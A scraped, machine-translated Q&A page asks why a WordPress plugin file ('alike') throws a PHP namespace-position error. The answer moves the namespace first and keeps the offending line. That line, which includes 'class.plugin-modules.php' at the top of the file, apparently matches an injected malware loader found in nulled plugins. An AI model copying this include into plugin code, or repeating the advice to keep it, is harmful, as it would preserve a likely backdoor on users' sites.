为什么此PHP代码在第2行上引发名称空间错误?

问题描述 投票:-2回答:1

所以此错误将为以下代码生成:

致命错误:命名空间声明语句必须是第一个语句,或者在C:\ NewNami \ apps \ wordpress \ htdocs \ wp-content \ plugins \ alike \ app \ class-ra-install中的脚本中的任何声明调用之后.php第2行

<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?><?php
namespace Alike\App;

您能解决它吗?>

所以此错误将为以下代码生成:致命错误:命名空间声明语句必须是第一个语句,或者在C:\ NewNami \ apps \ wordpress \ ...中的脚本中的任何声明调用之后。 [

正如错误所指出的,名称空间声明必须在文件中的

最前面的语句

中,在您的情况下,它的前面是条件include语句。更改顺序,瞧:<?php namespace Alike\App; if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) { include_once(dirname(__FILE__) . '/class.plugin-modules.php'); }
php
1个回答
-1
投票
正如错误所指出的,名称空间声明必须在文件中的

最前面的语句

© www.soinside.com 2019 - 2024. All rights reserved.